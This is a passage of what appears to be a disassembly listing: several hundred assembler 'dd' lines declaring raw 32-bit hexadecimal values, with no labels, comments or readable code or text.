		dd 337FBF7Ah, 43780194h, 394A8348h, 951EB877h, 71CCB4DEh
		dd 4EEBB703h, 33908241h, 0BBB918B0h, 93BD2100h,	785F924Fh
		dd 68714EAh, 0E180805Ch, 41A29BC6h, 0E6772D00h,	0B295C7B3h
		dd 98ECF2EDh, 7A29C960h, 683FA820h, 1C98504Ah, 0AA37D304h
		dd 0E0C02079h, 0C4634Ch, 0E6D2F945h, 0AB740C1Eh, 7C409CAAh
		dd 3E804F4Ch, 0AF08C651h, 0EA00A1FFh, 1BB46EFCh, 909FDDCEh
		dd 0D4EB5018h, 7C8F4438h, 0D2483672h, 5DA80CD0h, 713C1990h
		dd 4EB0240h, 1D618D4Bh,	8093B449h, 4047DD21h, 0F1AC9B5h
		dd 924A3996h, 0F9AC0093h, 999FCFE4h, 6D460100h,	59E0EAD7h
		dd 6238C096h, 0D4BEC561h, 0AB3D8F09h, 94A48326h, 0C91EB49h
		dd 0BAE08C40h, 2B00CDE1h, 5061A8D2h, 2C71E289h,	840C3A9Fh
		dd 8CE467A1h, 0DB00C24Ch, 0AA7ACB5h, 2CF9A27Ch,	28CE0780h
		dd 8C7D48C8h, 0E016B61Ch, 77639C12h, 146742Ch, 7F5BC98Ch
		dd 80B9E147h, 77B47689h, 1F01340h, 0A16719FAh, 223A7AE3h
		dd 90F50C48h, 49CD9898h, 0A4481480h, 492ED513h,	3008CE78h
		dd 804D11B4h, 4EA403Fh,	28208C43h, 46CE009Dh, 7424EF40h
		dd 98FA6CB9h, 0B0844926h, 0F5600826h, 7B6DDE6h,	7A40A3FFh
		dd 0D6A9402Dh, 6C006520h, 16C09F5Bh, 194BC15Dh,	88F1A1DCh
		dd 842184Eh, 3B04E940h,	0CF4026C4h, 0C02F4049h,	0E5A40901h
		dd 53E14635h, 5A508180h, 0ECC2A69Bh, 0C5F21000h, 1893FFA5h
		dd 6EBA60F6h, 0A9D18A05h, 795CC890h, 206A1050h,	5E902E2Ch
		dd 28698E0h, 4A3A291Ah,	55E08376h, 65F43341h, 0A7E30D12h
		dd 4088C16h, 1DB68ABEh,	3A7CBCF0h, 41803B89h, 0F9293C51h
		dd 8E1E6E18h, 9B4AC448h, 0EC13D4C7h, 4EED0461h,	9BA03830h
		dd 7B61104h, 1B4EF557h,	94B913C1h, 9D767CCh, 392BE58Fh
		dd 219C7000h, 0DC81888Ah, 0A9D18820h, 0A1F017BCh, 4F8CA0AFh
		dd 1E30F7DBh, 0A5B9C361h, 3C90587Bh, 0EB12F309h, 380CD0C4h
		dd 0FE21AAh, 0F97759D2h, 0AD30FD45h, 0E2465604h, 5D0B9DC5h
		dd 35677810h, 9AD30D00h, 6481825Ch, 90A4F224h, 6F1100C8h
		dd 0DED091D5h, 0EF02C617h, 1D8216F9h, 494CA4BDh, 77586760h
		dd 11693C23h, 0DFA20051h, 117E3159h, 0F8B76076h, 0FE3766D9h
		dd 0E41D8C94h, 7502C82Ah, 0AE5CCFA6h, 0B9A8A002h, 95F2444h
		dd 472A7ABEh, 0B0A15C46h, 1ED91066h, 50DE26D8h,	0ED5A01A8h
		dd 4843CE03h, 2499DFD4h, 0AF924C01h, 5560940Ah,	2F624CDh
		dd 0B051C760h, 3623B5A9h, 0D9046700h, 112CBDDBh, 79A3076Bh
		dd 223D7C5Bh, 9C4575EDh, 0D96328E4h, 0FE8C2AE8h, 5802297Eh
		dd 0E41671EFh, 0FB1960C5h, 40510924h, 5044465Ah, 67DB3204h
		dd 38A28BD2h, 0FAC23A06h, 9D1F2090h, 2980E327h,	4C946051h
		dd 0C0A4E1h, 0E5BACEEh,	9A8631FFh, 0BB53DF00h, 0A91BCB39h
		dd 9C572615h, 0A802A22h, 0F2BA2F80h, 118029CCh,	4EE780D2h
		dd 8CF0823Dh, 0C1C444h,	0DDD64EEFh, 0F056FA2h, 0EB3F0B0Bh
		dd 0B8640365h, 91B00648h, 0C9276B3Dh, 0F3FA2210h, 4999641Ah
		dd 0BB11BC9Dh, 0D001E88Eh, 87FF0169h, 0C61B8C0h, 23677C20h
		dd 0F4AF37E0h, 84880031h, 0B479A81Eh, 0D79E3D00h, 0EC62B99Fh
		dd 67570216h, 313AB7Ch,	0B06B1823h, 987B672h, 60CD5A0Fh
		dd 0F0978801h, 0C7C82D85h, 17E0A7FEh, 92B53057h, 123C0C10h
		dd 8BE802DEh, 0B29E450Bh, 608C0192h, 0C395140h,	3114ADC8h
		dd 0BE7DE120h, 47CC4219h, 9859D530h, 0F8D9246Ch, 40A864CCh
		dd 6A59ED84h, 0AF6C03AEh, 0CDA62714h, 5E5B51D0h, 72ECBF16h
		dd 0E4909404h, 884C8CCh, 548E6A22h, 0D34003C4h,	710D227Ch
		dd 0B20F6712h, 8842450h, 9D1AE1h, 1D350B92h, 29007DCDh
		dd 2FD2E95Eh, 7864F94Bh, 7FD70738h, 8EA29932h, 0C5DA6081h
		dd 0BEDE04Ah, 0F14C2903h, 0A06224D1h, 0E05FD99Ch, 0AC300F6Fh
		dd 5220E090h, 624B0ADCh, 2D710200h, 33D2DF70h, 65F11F6Fh
		dd 0D3454A2Ch, 0F3ADE038h, 0D2F12565h, 0C2181895h, 0F07A2308h
		dd 0A0B0C06Fh, 0F51D2E74h, 0A700A8B0h, 0C2380BF3h, 984C9BF7h
		dd 4ED1E5ABh, 0F0D33370h, 288077DBh, 1E6845ABh,	0D7D43EBh
		dd 29392CE0h, 84044788h, 0A0A011AFh, 0EF3F0F80h, 1900ED67h
		dd 9214FB12h, 3877A7E2h, 3094F25h, 1F446124h, 0B451730h
		dd 0C02407ADh, 0B93CC292h, 849A0884h, 0CD3C822Ch, 0F5019D60h
		dd 0FA6E62F4h, 1A2FC259h, 19B84A11h, 88A3F70Ch,	0E4029F0Ch
		dd 8E4F030Ch, 5962826Dh, 2007BDA0h, 6CC53F66h, 8CEC40C9h
		dd 0E41CE879h, 598B612Fh, 51749376h, 0F22EEC78h, 4D435882h
		dd 0E3BF11Dh, 7E8730FCh, 50874CE0h, 0D326D618h,	0AB9EFC25h
		dd 0CC41E812h, 0EE2E2766h, 580F2880h, 59903CB4h, 0C077F28h
		dd 6C0D9C12h, 0AA3A2CD0h, 0F0A14C86h, 0F4401900h, 0E13E9804h
		dd 9C0C4950h, 975CEA78h, 697A8280h, 7D34D89Bh, 14FFEA21h
		dd 0C5A1022h, 27B6971Eh, 3A917827h, 4FE20B58h, 3A61A805h
		dd 5842264h, 1204E43Fh,	0BC8C50DFh, 0B820FB21h,	4B4BFC22h
		dd 0D7F81063h, 42563C12h, 8B90DB1Ch, 75F5F898h,	48FC9358h
		dd 24D2215Ch, 3BD1148h,	97373C9Dh, 49C03E99h, 918CEBA9h
		dd 0A0E44698h, 0B078587Dh, 69B96CB0h, 7D846698h, 15C13218h
		dd 64C8DD91h, 82309BC5h, 614551CAh, 6288A619h, 992EE0A7h
		dd 8606440h, 0A40F9C88h, 7540C594h, 9414E2BAh, 85B8220Ch
		dd 0A05A1580h, 4F140C46h, 0E40F8C8Fh, 7F56374Eh, 38ED1404h
		dd 474CC288h, 46CC261h,	9D214FF4h, 469448DCh, 0E68A1212h
		dd 5FD66041h, 28229991h, 9A57F522h, 99C63480h, 0F09D0C62h
		dd 227813A0h, 880C3F7Dh, 0F8B3547Ah, 0B45A8A8h,	0B134800Ah
		dd 0A20C6299h, 3724E450h, 917F9C40h, 7E10EA2Ah,	0ACD59211h
		dd 858EA07Ch, 0AC05E682h, 0E260F818h, 0B1D8A642h, 4AE50974h
		dd 50BE1062h, 11A06942h, 102AB5D8h, 5553E40Ch, 978162A8h
		dd 53B4645Ch, 316FD843h, 3A586C92h, 33594CA9h, 463BFC2Ch
		dd 0B23BB09h, 3AEC817Eh, 4D004468h, 0CD2183DDh,	621A9C17h
		dd 8218A545h, 1FCD278h,	92CB1205h, 84A24159h, 8034DE1Ch
		dd 9B8CCA44h, 31D9AA0Fh, 4989AD70h, 0A8113F80h,	413C4C42h
		dd 0BDB0711h, 0F2BA66E1h, 0B55D0816h, 0A8F27F74h, 60E03CD8h
		dd 8F05ECC0h, 16B62E08h, 0B830D0DFh, 74033C5Bh,	9F87E507h
		dd 779EB87Eh, 5DAC0017h, 4BB3E63Eh, 8E7A0356h, 0C2E4326h
		dd 0DA46DF80h, 4DC70BFCh, 0AD1E6CFBh, 0E33CDF4h, 5D6189B2h
		dd 0FCBC20AAh, 74477C27h
		dd 4A0F031Ah, 0CE0DE309h, 0ED73598h, 783F1F17h,	211880C0h
		dd 0A0A400C4h, 0EB4F5BABh, 40FACE95h, 0D161C900h, 0A9F7E31Ch
		dd 3F270EAFh, 5C1F91Dh,	0DCDF77FDh, 53004556h, 0E9F41662h
		dd 0F48036A2h, 0DB0D008Fh, 0EC4AEB04h, 4E745D0Eh, 803AE027h
		dd 330DD3E8h, 0AE7B1274h, 0BF5CA49Eh, 0D8411000h, 911FCE18h
		dd 0E8FA69h, 0CC9AA487h, 4321CA97h, 0E61B0906h,	1D389C1Dh
		dd 5E716BDBh, 3F534E91h, 0AF1BED00h, 0B90F35E7h, 802A8594h
		dd 69D28984h, 263C0FAEh, 0CF0096A6h, 478182B6h,	7D846D07h
		dd 7640B805h, 0AEAFADF8h, 30297814h, 0A13080ABh, 0A47CF684h
		dd 0B62B7D10h, 9E53FB00h, 83AC2A75h, 1B0045E2h,	0A9D3886Eh
		dd 0C35EC93h, 447998B7h, 0CF007818h, 0D18026ACh, 0E98793A8h
		dd 0B42880B3h, 0AFDE78A0h, 340CB790h, 787994A7h, 0CE7D30AAh
		dd 92A6FB31h, 7B9459C2h, 460C98F7h, 0B884A81Ch,	2A830197h
		dd 0F6769F50h, 0FB8840A7h, 7A309E52h, 99462947h, 9F8C0F7Ch
		dd 1503A516h, 1800B997h, 0C62661Ch, 60E5B178h, 96883153h
		dd 4B0051D0h, 5C7FE616h, 35E3BC4h, 234267D4h, 0ECB80AA3h
		dd 0B2003AB8h, 248F48E8h, 7C180C0Dh, 1C6300A5h,	9B5F6080h
		dd 171849EEh, 0E6715196h, 0ED7404B7h, 34C62BDh,	0A05CD3ECh
		dd 6023CADCh, 2F5528B2h, 0D79482Eh, 2449DB20h, 940065FEh
		dd 887818C6h, 4764EE9Ch, 0FE21A568h, 2D31856Dh,	9C4C11D2h
		dd 78245930h, 19C088E4h, 0F11A7B80h, 0C684050h,	29F36023h
		dd 4E1B0667h, 9448622Ah, 0B1DB7B18h, 0C3BA3430h, 45A01879h
		dd 0C45922h, 0B40DE6EFh, 42171647h, 9FE851C0h, 50E267A7h
		dd 8C73D048h, 0A8084A43h, 8960B217h, 63FED48Eh,	5FFF309Eh
		dd 0DF49B90Ch, 2326993h, 0A403FAACh, 0A48646E5h, 0C7F279E2h
		dd 0DC518228h, 0D9E0908Bh, 2961B3CCh, 0B0C84E31h, 4C191895h
		dd 58A06814h, 634E1C06h, 0AD034172h, 49E0F096h,	1C393F16h
		dd 27B85A0Ch, 0DA623431h, 82AAB219h, 88DEC94Ch,	3098E858h
		dd 0EC24D591h, 6528906Bh, 8A8B9E6h, 6642BCA4h, 0B4921554h
		dd 0B888746Dh, 0F59E304h, 0E6428E08h, 0B01831B2h, 50C88C82h
		dd 0AE504F05h, 10667A11h, 0F4FCE7BEh, 74886B42h, 706A7644h
		dd 6E883642h, 1FECEE42h, 516E8C88h, 43260880h, 740CF1EDh
		dd 6773110Ah, 0F0509E29h, 14858350h, 562B2848h,	6DBC50A0h
		dd 6CFE498Ch, 9B265C48h, 3431AC6Ch, 248C8859h, 0A831FC61h
		dd 60220226h, 7D0B3A06h, 8C906122h, 0B19684A0h,	0F69E5A88h
		dd 90D5FE04h, 90C8490h,	2B2F5408h, 61E5BCA6h, 0C5BE005h
		dd 8219324h, 6CC64823h,	91FB908Ch, 0DC4F85D0h, 3740AC7h
		dd 23181350h, 97CAE44h,	0BEF27106h, 0A417063h, 0B4392811h
		dd 627B45A0h, 0F0447998h, 8A8641C0h, 20FE77B0h,	39001915h
		dd 0D17A9058h, 4C93ACh,	7898A9DFh, 76AD7B28h, 79E8BAE8h
		dd 27A51100h, 8C0E1D89h, 0B6D20086h, 0A9F8784Fh, 0FC1E4C84h
		dd 67009053h, 0FA7F97A7h, 0D3D1F97Bh, 107E2898h, 0FB7C7DACh
		dd 0FC839013h, 0F94C2900h, 78884A8h, 4D28B967h,	0C09EC535h
		dd 4CA1B60Ch, 850160DEh, 3AACBA05h, 462B2862h, 42585F04h
		dd 83A1004Ch, 3A92AD34h, 0ECEEC3FAh, 180B18A5h,	0A500A0FCh
		dd 0B849FAC7h, 97550284h, 3374262h, 53626C53h, 0CCD468A3h
		dd 11832ECBh, 7D91ECCh,	0E2F11780h, 0F460AA15h,	3901EB3Ah
		dd 0C7DDEDDBh, 9080AF42h, 5660BD10h, 0F104CA63h, 0C313244Ah
		dd 0F21FB8A3h, 0CDADC07Fh, 0FE645B0h, 3D50E95Ch, 83A797CCh
		dd 0CB17601Fh, 440D810h, 6C971BFCh, 3781F8A0h, 86085255h
		dd 0DC31F9B4h, 7B0C0F5h, 2457C48h, 0A0521297h, 0C36EDC5h
		dd 10027C8Eh, 0F0165A10h, 78187E0Eh, 20D01468h,	4B20E6CBh
		dd 6F962CF2h, 3201100h,	0A2FDD48Fh, 0C8400016h,	48E3D663h
		dd 50C3801Dh, 0C1E9A138h, 0D451AEE4h, 0B8DA06BEh, 23718E8Ch
		dd 81CCAC95h, 976816D8h, 0FF280B1Eh, 983EF890h,	9BDD6F02h
		dd 0FE91833h, 0D28A6080h, 40042C78h, 97918D1Dh,	501C2CB4h
		dd 0C9EC48A3h, 28396748h, 0BC6422EFh, 0F5892DFh, 0D9E4C4Dh
		dd 0CE1BB381h, 7053D450h, 0D4E30C51h, 670F7998h, 0E37DA1ABh
		dd 0C27B90A9h, 5878CCB8h, 790B5026h, 540FADF8h,	1CE27B81h
		dd 38ABD1DBh, 0DA6D026Ch, 9843316Fh, 2D49C44h, 7548E07Fh
		dd 4B0B3FAh, 357C1504h,	400C4753h, 7F1F0108h, 8C22532Ah
		dd 228B2C74h, 4005CB78h, 6788634Ah, 0A0B31029h,	6FE424D2h
		dd 0ED3FCC91h, 0A63D1048h, 9636408h, 301B4AB0h,	59BF6BD9h
		dd 1110A5F4h, 0E83510F1h, 4646813Ch, 0D7417C08h, 346F7001h
		dd 6DBF8842h, 6F18F09Ch, 19C44456h, 0B01047E4h,	8B500114h
		dd 0A957D728h, 502EA428h, 0E0CC88A5h, 938CA69h,	6EC0692Ch
		dd 0FEC509BBh, 72487124h, 70226F91h, 89161544h,	24241223h
		dd 801A4F19h, 49D78FB7h, 0DA130AFEh, 46F4E363h,	0B252B8E8h
		dd 17A0DA84h, 52225104h, 0BC804708h, 46E456BCh,	0E63EEF7Ch
		dd 0A63ED6h, 0D0B01AA3h, 1AE740Dh, 56AD53E5h, 0F19F546Eh
		dd 0D197D166h, 0E38FE15Eh, 3DA7403Eh, 0A57484E6h, 0CF0003E7h
		dd 80AF140Dh, 0A01B5409h, 7F484D45h, 0F57F04E8h, 302EE359h
		dd 0D6178714h, 15F34C04h, 9C4A5740h, 95015738h,	0FF4B0583h
		dd 0FA756010h, 9614932h, 21182852h, 0DC557F04h,	83053200h
		dd 0F9DEA798h, 43BE0C14h, 24211BC9h, 0B8386352h, 0D8880038h
		dd 9889A752h, 0D9F9E13Dh, 0D01887A3h, 0F906849h, 281B72B0h
		dd 7C1CA48Eh, 38230160h, 4F55ADE6h, 4B2848E3h, 0CE44EBDh
		dd 0F1570B8Ch, 0BE301841h, 0C26D016h, 17F00345h, 3D6068DDh
		dd 0E78B4FC0h, 84ABD500h, 8C58DA7Ah, 0BAD10286h, 5A058396h
		dd 0B6AF40D7h, 787590h,	0F9768448h, 14838252h, 74021B00h
		dd 1993A934h, 395E829h,	0F0B62A7Fh, 0C0A72DE7h,	98A7351Ah
		dd 4740726Eh, 0ACC0FB7Ah, 2AB5D21Fh, 0F840EC9Eh, 0FC721EA1h
		dd 482707B8h, 2880C158h, 309BE2A7h, 0ACD49805h,	1C308392h
		dd 0F7AD3524h, 7CF21B00h, 0A1A7D105h, 6032D37Dh, 45EC9547h
		dd 0A420FAADh, 0F06D3639h, 1BFA2B6Fh, 0F8AE1718h, 65DF80A4h
		dd 15FB3D52h, 2CEC92C2h, 84A9F580h, 0A800D187h,	60483952h
		dd 53443D9Bh, 1B3E38ACh, 0BF118B03h, 0B9907BF6h, 43578090h
		dd 404714h, 6DBF42E7h, 1DAF2E8Bh, 534869Eh, 57C9Bh, 0C3FA7AF8h
		dd 65BD3355h, 49405D70h, 3DC1888h, 0D7198C56h, 67E0F34Ch
		dd 783A9BA8h, 839309CCh, 8B3481D0h, 35A92Bh, 0F69092D0h
		dd 42AF0FA8h, 12BFFBh, 759EA498h, 9A4C6739h, 95521B3Ch
		dd 28506008h, 4378441Bh, 502033F1h, 8309BF6Ch, 7A5FC76h
		dd 9E84FAECh, 353A748Ch, 8B916C69h, 38C4AE1Ch, 7A30800Bh
		dd 4F04A7F6h, 90B7F812h, 5498CBAAh, 0B70B6758h,	0F97FA1h
		dd 4B683A54h, 1ED098ABh, 64084A8h, 408190AEh, 0C073A126h
		dd 0CF004F1Dh, 0CD4C93BAh, 789474ACh, 178C90D0h, 1900E1Dh
		dd 7FAD521Bh, 877060FAh, 3AFCFB4Ch, 9E7B1245h, 98AEA001h
		dd 92E0FA78h, 0D260DC84h, 58AC187Fh, 0AC2552FCh, 30D85683h
		dd 7E277B40h, 8F6FF874h, 7D8504C8h, 45D4D7AAh, 9426FEACh
		dd 925225A0h, 0FE7DD056h, 7C07F8A5h, 4C87B6F7h,	6DD4984Bh
		dd 0B7DF1675h, 0B060674Fh, 50351A4Eh, 0FB4C8404h, 0B89DA1A6h
		dd 0D7B0E32Ah, 0B84A5CFCh, 0AC017484h, 7BD1839Fh, 0BF36F90h
		dd 53FB7D30h
		dd 70FE7C0Bh, 7B1B11E2h, 38D05F0Ch, 82B62CDBh, 13E492C4h
		dd 83B40BACh, 2B4CE438h, 89160C9Bh, 7C939806h, 0E983E818h
		dd 2AD1D821h, 587994E0h, 692C428h, 9354C1Ch, 83E2DC98h
		dd 0FA46E491h, 0C0795950h, 526FDE0Fh, 62200217h, 1061739Eh
		dd 92698F84h, 0ABB8077Dh, 20C8FA45h, 2C4BF9ACh,	0C17C3C48h
		dd 0BAFB7980h, 0C23430A1h, 7B0558C0h, 3ED07D91h, 0B06094ABh
		dd 496FE16Dh, 509018A6h, 1B067517h, 0A0EB0CDBh,	7E6D438Bh
		dd 5EF65B9Ah, 74940284h, 9E1C1B2Bh, 7918217Ch, 0FBC8643Eh
		dd 83955605h, 683BA7D1h, 482918C0h, 0FB2C7397h,	0D10BD8B7h
		dd 5264A04Bh, 55CE83ABh, 0F86C18B6h, 4F0750D1h,	4072D826h
		dd 9EA9F622h, 0A42520B8h, 89F0D697h, 44E1DF82h,	7D98D02Ah
		dd 3C27D14Fh, 3DD444FBh, 78805547h, 7F95AD08h, 7BEAAC05h
		dd 932E2878h, 980E8C12h, 80AF8B87h, 0F84B1590h,	82097C47h
		dd 0F59550C1h, 292180FCh, 347693C3h, 4F7FE8B8h,	0B65049F6h
		dd 1B19C86Ch, 0F268778Eh, 0E07031CDh, 0A180A187h, 0F2B2344Bh
		dd 93BAF8E0h, 34E850BEh, 0F67B055Fh, 590F7A8h, 0B7D186F7h
		dd 5A67F000h, 14681EFFh, 0E076A156h, 0CF744F06h, 0B6002152h
		dd 0BA057927h, 0A2FC7882h, 0E8635DC8h, 902C902Dh, 141CAFE0h
		dd 38ADB6F8h, 1BF10D4h,	5879349h, 0A7F7F2A7h, 0B0A098C4h
		dd 0DD173AEFh, 0ACB0E332h, 53DFDC80h, 20C08098h, 0A9FB7483h
		dd 0ECF19790h, 0B8B88B25h, 0A013ECE0h, 0F16828C4h, 4EE98C48h
		dd 85F86147h, 4C83DCFCh, 88D8D86Ch, 0DC9251A8h,	0F7DD4FD1h
		dd 409E5C21h, 0D42901AFh, 308182ACh, 17784E04h,	8A0A890h
		dd 0DA28B86Fh, 7854B029h, 0FD774CF0h, 77D8517h,	783ADCCCh
		dd 644CF22Bh, 5FCE92Ah,	58546779h, 0F2E3CFDCh, 0B3060D6h
		dd 4E6FCC76h, 3509D444h, 5809FABh, 0F4349044h, 494F64A6h
		dd 200972F0h, 0F0BA30C1h, 0A90CFD15h, 0E8347393h, 0B835281Ah
		dd 0B6D125F0h, 60FD1817h, 5FBED7F1h, 77115460h,	0B424B2h
		dd 0B1A5183Bh, 32812037h, 0B0DBF33Ch, 0E4A439E1h, 7C3303CBh
		dd 1497AD9Fh, 2B898CBh,	0A50E1948h, 2432F7E7h, 81EA0BACh
		dd 0F8A846C0h, 0B00EDB17h, 0D81FAF6Fh, 969B70h,	164B4EDCh
		dd 0E685CBCCh, 45E5A300h, 0CA8F9AC8h, 48E830DEh, 7E73AF20h
		dd 20A7F2EAh, 0C0E99088h, 0D8A4963Ch, 38164903h, 0E7CC454h
		dd 21BFC90h, 66F94B0Ch,	90626000h, 0E343BF9Ch, 85764D3h
		dd 980A07Eh, 80624800h,	0C110A0A4h, 6386799Bh, 0AD3A7849h
		dd 0FFF55008h, 62BD404Ah, 0A7469C8Dh, 8007D22h,	0CC2A6245h
		dd 1EF0E49h, 6E300178h,	0CACAACD8h, 0BE60F404h,	9C778A62h
		dd 70050A5h, 0FD9A6246h, 0FEC21DCCh, 0CA1085CDh, 21CC2BA7h
		dd 0CA9B2h, 0B88FFEEFh,	0BE051647h, 22634298h, 4C01C32h
		dd 1288903h, 18E824C0h,	90DE146Ah, 18189451h, 0A8D861DFh
		dd 73034972h, 619DBC97h, 48800587h, 0A43A6A1h, 0DC5C99F9h
		dd 50BA4123h, 128CE9A6h, 4FE8869Ch, 61017E1Ch, 81605FB0h
		dd 464781A9h, 79BBE817h, 9DD84280h, 0A277FB5Fh,	80B6632h
		dd 24564Bh, 26D8DA25h, 0D0008573h, 0E88D904Ah, 12C815F7h
		dd 1D9104D2h, 49E30874h, 0DC1C720Ah, 186B2E04h,	0FF08FA03h
		dd 67C483B4h, 45A4EC4h,	0C0BED341h, 3F9073ACh, 0A401CACh
		dd 80E496A0h, 0B9EFDC8Fh, 0EC30A516h, 985ED45Ah, 0BC44FD7Ah
		dd 50F081BEh, 7C318018h, 0B225A99Dh, 4C49073Bh,	4643E39Bh
		dd 55002104h, 0DD16A886h, 2ADF9060h, 1B94BAB0h,	88695C34h
		dd 0A67C1118h, 52B7E699h, 6AA8F422h, 0B000B846h, 0B206F45Ah
		dd 0E6129BE5h, 0D06243C7h, 4F84C01h, 9C916261h,	206B6247h
		dd 82624914h, 0F3001F7Ch, 0CABBFBDDh, 0C53023CBh, 400D7B60h
		dd 34D75F80h, 33E28E45h, 0DA05D307h, 9A20E202h,	28E69C87h
		dd 15444FA7h, 0F45C8EF1h, 0E4357E00h, 0A06992AAh, 88A43628h
		dd 0DF941C09h, 6C7CB9C9h, 3A40204h, 8483E47Fh, 21836438h
		dd 6D889040h, 9C7C27EBh, 82087A2h, 0E1C0B6ECh, 0E11BFD62h
		dd 0D8EB9C59h, 874F9C8Eh, 624A1300h, 1AAD0FCh, 0B04507DFh
		dd 261A2FCCh, 0F921004h, 0DC4CF84Bh, 0D45C38C3h, 0CEB0006Fh
		dd 0ED2F8E8Bh, 0F99790BBh, 4650A854h, 0A8890F18h, 439BE441h
		dd 59200532h, 1F1BA8F2h, 9297383Fh, 2030FF62h, 9189A28h
		dd 801CC302h, 52268402h, 0C7CCE70Fh, 0C8F0A8BDh, 19B5657Eh
		dd 455C200Dh, 44225A58h, 115016Dh, 241296E4h, 0ECF995ACh
		dd 77B10360h, 0BE3BC85Ah, 0D4330C10h, 63296A13h, 1C20C0B0h
		dd 59601E83h, 81C80CD5h, 7D302810h, 4D41D914h, 8C70007h
		dd 13FBF551h, 0A3275C9Fh, 801C5ED2h, 0FF04D57Fh, 0DA155DAEh
		dd 81A48303h, 165BDCB3h, 364858A1h, 0DC8088A0h,	80A4684Bh
		dd 0C0A447E4h, 88021946h, 0F3B22CA8h, 5A102131h, 0A100A901h
		dd 0F82AEC6Ah, 2D29CD2Eh, 10489517h, 5C006785h,	9C8CAD3Ch
		dd 90DA5FFEh, 0AB4F890h, 0A290AA26h, 0BE7060B8h, 531DB0ACh
		dd 0E2844B18h, 4583EC99h, 4F5100A2h, 38628A8Eh,	17196C21h
		dd 0B3082930h, 16F02182h, 0EB60F28Bh, 0B7618E98h, 0D718BB58h
		dd 1AE03035h, 87880017h, 6B96821Fh, 0D605D39Dh,	52D4638Eh
		dd 7E0DE860h, 96F00998h, 0D8012F0Fh, 72495C4Eh,	54DE0CB0h
		dd 78BED0E4h, 0BCC74897h, 0F793012h, 80C91518h,	70562831h
		dd 7640C054h, 5077FCEh,	0AF51A20Dh, 9CBC6015h, 0B21040A9h
		dd 8C84893h, 0A8F55680h, 26D51C50h, 2B04A07h, 5B8EA060h
		dd 99F84E75h, 46D3D068h, 0DC210C86h, 0B17119EDh, 741CA848h
		dd 10187F48h, 0B3024DD2h, 194773D4h, 5500F84Eh,	0E6B57FBBh
		dd 2E1261BDh, 82E4C886h, 19B3B2BEh, 0B0284C60h,	80500A49h
		dd 4695CAB6h, 5FBE2ECBh, 77284C90h, 6DB278C4h, 8C175488h
		dd 3E285498h, 988594B2h, 0A8FF5C80h, 2468B5DBh,	0CEBC961Eh
		dd 409B17A4h, 0B8F9971Ch, 602206CBh, 70B4E2C8h,	72089B02h
		dd 6DAA791Dh, 6020C458h, 1D53C786h, 425B4241h, 0FAEAA62Dh
		dd 0AF4384B0h, 0B0CD970Ch, 4096F8A7h, 0CE2A0D42h, 0B92CD4E6h
		dd 0FC13C443h, 43DEB82Dh, 6BF244h, 55D6F8CEh, 0BE4A7A0Ah
		dd 1540AC66h, 0A8C0ADCh, 364FE646h, 46B828D0h, 8A8D01D8h
		dd 6B7938BDh, 808A490Ch, 49B8B73h, 3F36F441h, 999821ACh
		dd 0EB3A21B1h, 28DE6A09h, 0F0B8D5E4h, 8CA8327Bh, 6500E979h
		dd 8DAD023Eh, 6BD69D3h,	10969C97h, 8F279842h, 802454FFh
		dd 73E8264Eh, 6C00CC14h, 663E1CEFh, 60D335AEh, 3C9F79BFh
		dd 0DD0010ECh, 4E64545Ah, 7E6EE5h, 0AFF30CA3h, 7AB853CAh
		dd 0BA2B88C0h, 48F46265h, 2D174C20h, 23942F51h,	0F29C0306h
		dd 15A3DC10h, 33691905h, 0D0001728h, 5841797Fh,	918D0E64h
		dd 48E0DFBBh, 1BF8526Ah, 332C78C9h, 0F6A1F0E8h,	0DC0A8546h
		dd 50244CF2h, 0CB459C05h, 6C80F804h, 0D60C2600h, 64B97C11h
		dd 2201CB00h, 79CA2F8h,	68C20763h, 8C42C03Fh, 1E37B860h
		dd 0B8E96851h, 3959C8h,	0C3E1D505h, 97587EFDh, 8DF5F001h
		dd 0BEA05E7Bh, 5C1D2995h, 1184660Fh, 8E2950E2h,	0B0576018h
		dd 6EFE2AC4h, 7A101E4h,	0B8A8E6DBh, 8E742009h, 9934A240h
		dd 649F39E8h, 0C4AE8099h, 494D1EB1h, 0D49B6801h, 0DF071674h
		dd 19A30F8h, 0C39E9071h, 3A898E9Dh, 0E41C34F2h,	5C120C5Eh
		dd 9800B458h, 858D057Fh, 4CBE93ADh, 0FCCB48AEh,	18918897h
		dd 28E6FB81h, 126C23CDh
		dd 0A020B015h, 0C4E60F2Fh, 0C68685F8h, 0C220E8FDh, 2668E6B6h
		dd 0C0483B8Ch, 8BFE9D23h, 97C04560h, 12295388h,	64C8B568h
		dd 4BEC8210h, 12D82D30h, 0CB335E88h, 0E5260054h, 7E19B0D8h
		dd 0C5240FF9h, 5EA14D01h, 22A38AB8h, 44878034h,	0C146F7E6h
		dd 73CAB288h, 33944217h, 0B6A0A8E8h, 18B3B740h,	984C4424h
		dd 0FE329FE6h, 0ECD6185Dh, 343D4C70h, 0C5D95031h, 666FEDDCh
		dd 0F89C24B8h, 0B830F116h, 0B277B438h, 3074A098h, 399300A8h
		dd 969D4D1Dh, 494DE134h, 13D235Ch, 38BC8A8Ch, 88B51871h
		dd 8B0B14E6h, 2A5B772h,	1D93CE4h, 0A756AC2Fh, 96B4D4C8h
		dd 85C4F061h, 2E2AD439h, 0E100088Dh, 141648E6h,	269D7617h
		dd 81A0414Bh, 0D38F8CE7h, 1065EDh, 0F730B6D4h, 0AED2211Eh
		dd 11232089h, 43CFF38h,	8F6263C0h, 448C579Ch, 4B3E0682h
		dd 6EAA8062h, 0DF325417h, 550E092Eh, 3C6207FFh,	7C940440h
		dd 77F04082h, 1A463C81h, 911CB692h, 104EDA58h, 0CF170BCCh
		dd 5A689819h, 94C0D30Ah, 0B4C86680h, 0F8FEFB3Fh, 0EE180079h
		dd 9021957Fh, 55093B6Ah, 45518760h, 6023C41Ch, 43E99EBh
		dd 191FC11Eh, 0C26490DDh, 0D500E4D3h, 0A4EC5679h, 16F19D3Ah
		dd 8FDD0CB2h, 14638444h, 1463107Eh, 0E809C5B8h,	31D7EC98h
		dd 0BEC48A40h, 22814638h, 12E400B4h, 0DDD5918Bh, 0CB241D9Dh
		dd 467408ACh, 50A43E7Eh, 4F5892A8h, 5B009D3Ch, 0E8BB5F38h
		dd 0DA7AB5h, 6210A6Bh, 3A900374h, 96BCBE02h, 406F61BBh
		dd 13A9AC62h, 7B7895h, 0AA84DE41h, 0A000B193h, 1A6ED602h
		dd 66BA77E9h, 21A80901h, 0D6FA4001h, 52599117h,	1F6A79F8h
		dd 14FE9Ah, 701C5833h, 6B065798h, 83D7C5A5h, 0CE3C1D68h
		dd 86B4004Fh, 49D61437h, 0CA5B18C0h, 0CA1CD09h,	0E693A2CFh
